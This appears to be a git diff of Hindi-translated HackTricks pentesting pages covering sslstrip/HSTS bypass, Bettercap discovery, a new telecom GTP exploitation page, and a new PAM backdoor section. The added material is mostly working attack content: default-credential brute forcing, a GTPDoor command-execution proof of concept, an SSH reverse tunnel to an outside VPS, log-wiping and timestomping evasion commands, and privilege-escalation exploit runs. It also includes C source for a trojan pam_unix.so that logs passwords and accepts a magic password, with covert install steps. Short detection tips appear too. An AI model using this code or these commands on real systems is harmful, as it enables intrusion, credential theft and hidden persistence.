@ -693,22 +693,22 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
अधिक जानकारी [यहाँ](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)।
More info [यहाँ](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)।
### sslStrip+ और dns2proxy के साथ HSTS को बायपास करना
### sslStrip+ और dns2proxy HSTS को बायपास करने के लिए
**sslStrip+ और dns2proxy** के बीच का **अंतर** **sslStrip** के मुकाबले यह है कि वे **उदाहरण के लिए** _**www.facebook.com**_ को _**wwww.facebook.com**_ **पर** **रिडायरेक्ट** करेंगे (ध्यान दें कि **अतिरिक्त** "**w**" है) और इस **डोमेन का पता हमलावर के IP के रूप में सेट करेंगे**। इस तरह, **क्लाइंट** _**wwww.facebook.com**_ **(हमलावर)** से **कनेक्ट** होगा लेकिन पर्दे के पीछे **sslstrip+** **वास्तविक कनेक्शन** को **www.facebook.com** के माध्यम से **बनाए रखेगा**
**sslStrip+ और dns2proxy** और **sslStrip** के बीच का **अंतर** यह है कि वे **उदाहरण के लिए** _**www.facebook.com**_ को _**wwww.facebook.com**_ **पर** **रिडायरेक्ट** करेंगे (ध्यान दें कि **अतिरिक्त** "**w**" है) और **इस डोमेन का पता हमलावर IP के रूप में सेट करेंगे**। इस तरह, **क्लाइंट** _**wwww.facebook.com**_ **(हमलावर)** से **कनेक्ट** होगा लेकिन पर्दे के पीछे **sslstrip+** **वास्तविक कनेक्शन** को **www.facebook.com** के साथ **बनाए रखेगा**
इस तकनीक का **लक्ष्य** **HSTS** से **बचना** है क्योंकि _**wwww**.facebook.com_ **ब्राउज़र के कैश में** **सहेजा नहीं जाएगा**, इसलिए ब्राउज़र को **HTTP में फेसबुक प्रमाणीकरण करने के लिए धोखा दिया जाएगा**।\
इस तकनीक का **लक्ष्य** HSTS को **टालना** है क्योंकि _**wwww**.facebook.com_ **ब्राउज़र के कैश** में **सहेजा नहीं जाएगा**, इसलिए ब्राउज़र को **HTTP में फेसबुक प्रमाणीकरण करने के लिए धोखा दिया जाएगा**।\
ध्यान दें कि इस हमले को करने के लिए पीड़ित को पहले [http://www.faceook.com](http://www.faceook.com) पर पहुंचने की कोशिश करनी होगी और न कि https पर। यह एक http पृष्ठ के अंदर लिंक को संशोधित करके किया जा सकता है।
अधिक जानकारी [यहाँ](https://www.bettercap.org/legacy/#hsts-bypass), [यहाँ](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) और [यहाँ](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)।
More info [यहाँ](https://www.bettercap.org/legacy/#hsts-bypass), [यहाँ](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) और [यहाँ](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)।
**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह किसी "महत्वपूर्ण" डोमेन पर पहुंचने का पहला मौका हो, वह HTTPS के माध्यम से ही पहुंच जाएगा। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए** _**wwww.facebook.com**_ **का उदाहरण पहले काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS का उपयोग करता है जिसमें `includeSubdomains` है।**
**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह पहली बार हो जब कोई उपयोगकर्ता एक "महत्वपूर्ण" डोमेन पर पहुंचता है, वह इसे HTTPS के माध्यम से पहुंचता है। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए पहले का** _**wwww.facebook.com**_ **उदाहरण अब काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS का उपयोग करता है `includeSubdomains` के साथ।**
TODO: easy-creds, evilgrade, metasploit, factory
## TCP पोर्ट में सुनें
## TCP पोर्ट पर सुनना
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
कभी-कभी, यदि क्लाइंट यह जांचता है कि CA एक मान्य है, तो आप **एक अन्य होस्टनेम का प्रमाणपत्र जो CA द्वारा हस्ताक्षरित है** प्रदान कर सकते हैं।\
एक और दिलचस्प परीक्षण है, **अनुरोधित होस्टनेम का प्रमाणपत्र लेकिन स्व-हस्ताक्षरित** प्रदान करना।
परीक्षण करने के लिए अन्य चीजें हैं जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक एल्गोरिदम जैसे डिफी हेलमैन का उपयोग करने के लिए मजबूर करना (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक परीक्षण (जैसे एक हैश) मांगता है, तो एक नकली परीक्षण भेजना और उम्मीद करना कि क्लाइंट इसे नहीं जांचेगा।
परीक्षण करने के लिए अन्य चीजें हैं, जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक एल्गोरिदम जैसे डिफी हेलमैन का उपयोग करने के लिए मजबूर करना (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक परीक्षण (जैसे एक हैश) मांगता है, तो एक नकली परीक्षण भेजना और उम्मीद करना कि क्लाइंट इसे नहीं जांचेगा।
## Bettercap
```bash
@ -766,7 +766,7 @@ wifi.recon on; wifi.ap
```
### Active Discovery Notes
यह ध्यान में रखें कि जब एक UDP पैकेट एक डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (Port Unreachable) भेजा जाता है।
यह ध्यान में रखें कि जब एक UDP पैकेट एक ऐसे डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (Port Unreachable) भेजा जाता है।
### **ARP discover**
@ -774,7 +774,7 @@ ARP पैकेट का उपयोग यह पता लगाने क
### **mDNS (multicast DNS)**
Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X ms) **\_services\_.dns-sd.\_udp.local** के लिए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करत है।
Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X ms) **\_services\_.dns-sd.\_udp.local** के लिए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करत है।
**Tools**
@ -788,11 +788,17 @@ Bettercap पोर्ट 137/UDP पर "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" ना
### **SSDP (Simple Service Discovery Protocol)**
Bettercap सभी प्रकार की सेवाओं की खोज करते हुए SSDP पैकेट प्रसारित करता है (UDP पोर्ट 1900)।
Bettercap SSDP पैकेट प्रसारित करता है जो सभी प्रकार की सेवाओं की खोज करता है (UDP पोर्ट 1900)।
### **WSD (Web Service Discovery)**
Bettercap सेवाओं की खोज करते हुए WSD पैकेट प्रसारित करता है (UDP पोर्ट 3702)।
Bettercap WSD पैकेट प्रसारित करता है जो सेवाओं की खोज करता है (UDP पोर्ट 3702)।
### Telecom / Mobile-Core (GTP) Exploitation
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## References
@ -801,6 +807,4 @@ Bettercap सेवाओं की खोज करते हुए WSD पै
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,140 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> मोबाइल-कोर प्रोटोकॉल (GPRS टनलिंग प्रोटोकॉल GTP) अक्सर सेमी-ट्रस्टेड GRX/IPX रोमिंग बैकबोन से गुजरते हैं। क्योंकि ये बिना किसी प्रमाणीकरण के साधारण UDP पर चलते हैं, **किसी भी टेलीकॉम परिधि के अंदर एक पैर जमाने से आमतौर पर कोर सिग्नलिंग प्लेन तक सीधे पहुंचा जा सकता है**। निम्नलिखित नोट्स SGSN/GGSN, PGW/SGW और अन्य EPC नोड्स के खिलाफ देखे गए आक्रामक ट्रिक्स को इकट्ठा करते हैं।
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
एक आश्चर्यजनक रूप से बड़ा सेट विक्रेता नेटवर्क तत्वों के साथ हार्ड-कोडेड SSH/Telnet उपयोगकर्ताओं के साथ आता है जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक समर्पित शब्द सूची ब्रूट-फोर्स सफलता को नाटकीय रूप से बढ़ा देती है:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
यदि डिवाइस केवल एक प्रबंधन VRF को उजागर करता है, तो पहले एक जंप होस्ट के माध्यम से पिवट करें (नीचे «SGSN Emu Tunnel» अनुभाग देखें)।
### 1.2 GRX/IPX के अंदर होस्ट खोज
अधिकांश GRX ऑपरेटर अभी भी बैकबोन के पार **ICMP echo** की अनुमति देते हैं। GTP-C श्रोता को जल्दी से मैप करने के लिए `masscan` को अंतर्निहित `gtpv1` UDP प्रॉब्स के साथ मिलाएं:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. सब्सक्राइबर्स की गणना `cordscan`
निम्नलिखित Go टूल **GTP-C Create PDP Context Request** पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर वर्तमान **SGSN / MME** को प्रकट करता है जो पूछे गए IMSI की सेवा कर रहा है और, कभी-कभी, सब्सक्राइबर के दौरे किए गए PLMN को।
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
मुख्य ध्वज:
- `--imsi` लक्षित ग्राहक IMSI
- `--oper` घरेलू / HNI (MCC+MNC)
- `-w` कच्चे पैकेट pcap में लिखें
बाइनरी के अंदर महत्वपूर्ण स्थिरांक को पैच किया जा सकता है ताकि स्कैन को चौड़ा किया जा सके:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. कोड निष्पादन GTP पर `GTPDoor`
`GTPDoor` एक छोटा ELF सेवा है जो **UDP 2123 को बाइंड करता है और हर आने वाले GTP-C पैकेट को पार्स करता है**। जब पेलोड एक पूर्व-शेयर किए गए टैग से शुरू होता है, तो शेष को डिक्रिप्ट किया जाता है (AES-128-CBC) और `/bin/sh -c` के माध्यम से निष्पादित किया जाता है। stdout/stderr को **Echo Response** संदेशों के अंदर एक्सफिल्ट्रेट किया जाता है ताकि कोई बाहरी सत्र कभी न बनाया जाए।
न्यूनतम PoC पैकेट (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* कोई भी होस्ट **असंतुलित इको अनुरोध** SGSN IPs को भेज रहा है
* GTP संस्करण ध्वज 1 पर सेट है जबकि संदेश प्रकार = 1 (इको) विनिर्देश से विचलन
## 4. कोर के माध्यम से पिवटिंग
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` एक SGSN अनुकरणकर्ता प्रदान करता है जो **वास्तविक GGSN/PGW की ओर PDP संदर्भ स्थापित करने में सक्षम है**। एक बार बातचीत हो जाने के बाद, लिनक्स एक नया `tun0` इंटरफेस प्राप्त करता है जो रोमिंग साथी से पहुंच योग्य है।
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
सही फ़ायरवॉल हेयर-पिनिंग के साथ, यह टनल सिग्नलिंग-केवल VLANs को बायपास करता है और आपको सीधे **डेटा प्लेन** में लाता है।
### 4.2 पोर्ट 53 पर SSH रिवर्स टनल
DNS लगभग हमेशा घूमने वाली संरचनाओं में खुला होता है। अपने VPS पर :53 पर सुनने वाली एक आंतरिक SSH सेवा को उजागर करें और बाद में घर से वापस आएं:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
`GatewayPorts yes` को VPS पर सक्षम करें।
## 5. गुप्त चैनल
| चैनल | परिवहन | डिकोडिंग | नोट्स |
|-------|--------|----------|-------|
| ICMP `EchoBackdoor` | ICMP इको अनुरोध/उत्तर | 4-बाइट कुंजी + 14-बाइट टुकड़े (XOR) | शुद्ध पैसिव श्रोता, कोई आउटबाउंड ट्रैफिक नहीं |
| DNS `NoDepDNS` | UDP 53 | XOR (कुंजी = `funnyAndHappy`) A-रिकॉर्ड ऑक्टेट्स में एन्कोडेड | `*.nodep` उप-डोमेन की निगरानी करता है |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC ब्लॉब प्राइवेट IE में | वैध GTP-C बातचीत के साथ मिश्रित |
सभी इम्प्लांट्स वॉचडॉग्स को लागू करते हैं जो **timestomp** उनके बाइनरी को और यदि क्रैश हो जाएं तो पुनः उत्पन्न करते हैं।
## 6. रक्षा बचाव चीटशीट
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. विरासत NE पर विशेषाधिकार वृद्धि
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
साफ-सफाई टिप:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` पिछले अनुभागों में वर्णित कस्टम उपकरण।
* `FScan` : इंट्रानेट TCP स्वीप (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS धोखाधड़ी WPAD
* `Microsocks` + `ProxyChains` : हल्का SOCKS5 पिवोटिंग
* `FRP` (≥0.37) : NAT ट्रैवर्सल / एसेट ब्रिजिंग
---
## Detection Ideas
1. **कोई भी डिवाइस जो SGSN/GGSN के अलावा Create PDP Context Requests स्थापित कर रहा है**
2. **गैर-मानक पोर्ट (53, 80, 443) जो आंतरिक IPs से SSH हैंडशेक प्राप्त कर रहे हैं**
3. **संबंधित Echo Responses के बिना बार-बार Echo Requests** GTPDoor बीकन का संकेत दे सकते हैं।
4. **बड़े, गैर-शून्य पहचानकर्ता/क्रमांक फ़ील्ड के साथ ICMP echo-reply ट्रैफ़िक की उच्च दर**
## References
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
### Basic Information
**PAM (Pluggable Authentication Modules)** एक सुरक्षा तंत्र के रूप में कार्य करता है जो **उन उपयोगकर्ताओं की पहचान की पुष्टि करता है जो कंप्यूटर सेवाओं तक पहुँचने का प्रयास कर रहे हैं**, उनके पहुँच को विभिन्न मानदंडों के आधार पर नियंत्रित करता है। यह एक डिजिटल गेटकीपर के समान है, यह सुनिश्चित करता है कि केवल अधिकृत उपयोगकर्ता विशिष्ट सेवाओं के साथ संलग्न हो सकें जबकि संभावित रूप से उनके उपयोग को सीमित कता है ताकि सिस्टम ओवरलोड से बचा जा सके।
**PAM (Pluggable Authentication Modules)** एक सुरक्षा तंत्र के रूप में कार्य करता है जो **उन उपयोगकर्ताओं की पहचान की पुष्टि करता है जो कंप्यूटर सेवाओं तक पहुँचने का प्रयास कर रहे हैं**, उनके पहुँच को विभिन्न मानदंडों के आधार पर नियंत्रित करता है। यह एक डिजिटल गेटकीपर के समान है, यह सुनिश्चित करते हुए कि केवल अधिकृत उपयोगकर्ता विशिष्ट सेवाओं के साथ संलग्न हो सक हैं जबकि संभावित रूप से उनके उपयोग को सीमित किया जा सकता है ताकि सिस्टम ओवरलोड से बचा जा सके।
#### Configuration Files
- **Solaris और UNIX-आधारित सिस्टम** आमतौर पर एक केंद्रीय कॉन्फ़िगरेशन फ़ाइल का उपयोग करते हैं जो `/etc/pam.conf` पर स्थित होती है।
- **Linux सिस्टम** एक निर्देशिका दृष्टिकोण को प्राथमिकता देते हैं, सेवा-विशिष्ट कॉन्फ़िगरेशन को `/etc/pam.d` के भीतर संग्रहीत करते हैं। उदाहरण के लिए, लॉगिन सेवा के लिए कॉन्फ़िगरेशन फ़ाइल `/etc/pam.d/login` पर पाई जाती है।
- **Linux सिस्टम** एक निर्देशिका दृष्टिकोण को प्राथमिकता देते हैं, जिसमें सेवा-विशिष्ट कॉन्फ़िगरेशन `/etc/pam.d` के भीतर संग्रहीत होते हैं। उदाहरण के लिए, लॉगिन सेवा के लिए कॉन्फ़िगरेशन फ़ाइल `/etc/pam.d/login` पर पाई जाती है।
लॉगिन सेवा के लिए PAM कॉन्फ़िगरेशन का एक उदाहरण इस प्रकार हो सकता है:
```
@ -26,7 +26,7 @@ session required /lib/security/pam_unix_session.so
```
#### **PAM प्रबंधन क्षेत्र**
ये क्षेत्र, या प्रबंधन समूह, **auth**, **account**, **password**, और **session** शामिल हैं, जो प्रमाणीकरण और सत्र प्रबंधन प्रक्रिया के विभिन्न पहलुओं के लिए जिम्मेदार है:
ये क्षेत्र, या प्रबंधन समूह, **auth**, **account**, **password**, और **session** शामिल हैं, प्रत्येक प्रमाणीकरण और सत्र प्रबंधन प्रक्रिया के विभिन्न पहलुओं के लिए जिम्मेदार है:
- **Auth**: उपयोगकर्ता की पहचान को मान्य करता है, अक्सर पासवर्ड के लिए संकेत देकर।
- **Account**: खाता सत्यापन को संभालता है, जैसे समूह सदस्यता या समय-सीमा प्रतिबंधों की जांच करना।
@ -44,10 +44,65 @@ session required /lib/security/pam_unix_session.so
#### उदाहरण परिदृश्य
कई auth मॉड्यूल के साथ एक सेटअप में, प्रक्रिया एक सख्त क्रम का पालन करती है। यदि `pam_securetty` मॉड्यूल लॉगिन टर्मिनल को अनधिकृत पाता है, तो रूट लॉगिन अवरुद्ध हो जाते हैं, फिर भी सभी मॉड्यूल को इसके "required" स्थिति के कारण संसाधित किया जाता है। `pam_env` पर्यावरण चर सेट करता है, जो उपयोगकर्ता अनुभव में सहायता कर सकता है। `pam_ldap` और `pam_unix` मॉड्यूल मिलकर उपयोगकर्ता को प्रमाणीकरण करते हैं, `pam_unix` पहले से दिए गए पासवर्ड का उपयोग करने का प्रयास करता है, प्रमाणीकरण विधियों में दक्षता और लचीलापन बढ़ाता है।
कई auth मॉड्यूल के साथ एक सेटअप में, प्रक्रिया एक सख्त क्रम का पालन करती है। यदि `pam_securetty` मॉड्यूल लॉगिन टर्मिनल को अनधिकृत पाता है, तो रूट लॉगिन अवरुद्ध हो जाते हैं, फिर भी सभी मॉड्यूल को इसके "required" स्थिति के कारण संसाधित किया जाता है। `pam_env` पर्यावरण चर सेट करता है, जो उपयोगकर्ता अनुभव में सहायता कर सकता है। `pam_ldap` और `pam_unix` मॉड्यूल मिलकर उपयोगकर्ता को प्रमाणित करते हैं, `pam_unix` पहले से दिए गए पासवर्ड का उपयोग करने का प्रयास करता है, प्रमाणीकरण विधियों में दक्षता और लचीलापन बढ़ाता है।
### संदर्भ
## PAM में बैकडोरिंग `pam_unix.so` को हुक करना
उच्च-मूल्य वाले Linux वातावरण में एक क्लासिक स्थिरता चाल है **वैध PAM पुस्तकालय को एक ट्रोजन ड्रॉप-इन के साथ स्वैप करना**। क्योंकि हर SSH / कंसोल लॉगिन अंततः `pam_unix.so:pam_sm_authenticate()` को कॉल करता है, कुछ C पंक्तियाँ क्रेडेंशियल कैप्चर करने या *जादुई* पासवर्ड बायपास लागू करने के लिए पर्याप्त हैं।
### संकलन चीटशीट
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
संकलित करें और चुपके से बदलें:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Tips
1. **Atomic overwrite** एक अस्थायी फ़ाइल में लिखें और `mv` का उपयोग करके स्थान पर ले जाएं ताकि आधी लिखी गई लाइब्रेरीज़ SSH को लॉक न कर सकें।
2. लॉग फ़ाइल का स्थान जैसे `/usr/bin/.dbus.log` वैध डेस्कटॉप वस्तुओं के साथ मिश्रित होता है।
3. प्रतीक निर्यात को समान रखें (`pam_sm_setcred`, आदि) ताकि PAM की गलत व्यवहार से बचा जा सके।
### Detection
* `pam_unix.so` के MD5/SHA256 की तुलना वितरण पैकेज से करें।
* `/lib/security/` के तहत विश्व-लिखने योग्य या असामान्य स्वामित्व की जांच करें।
* `auditd` नियम: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`
### References
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}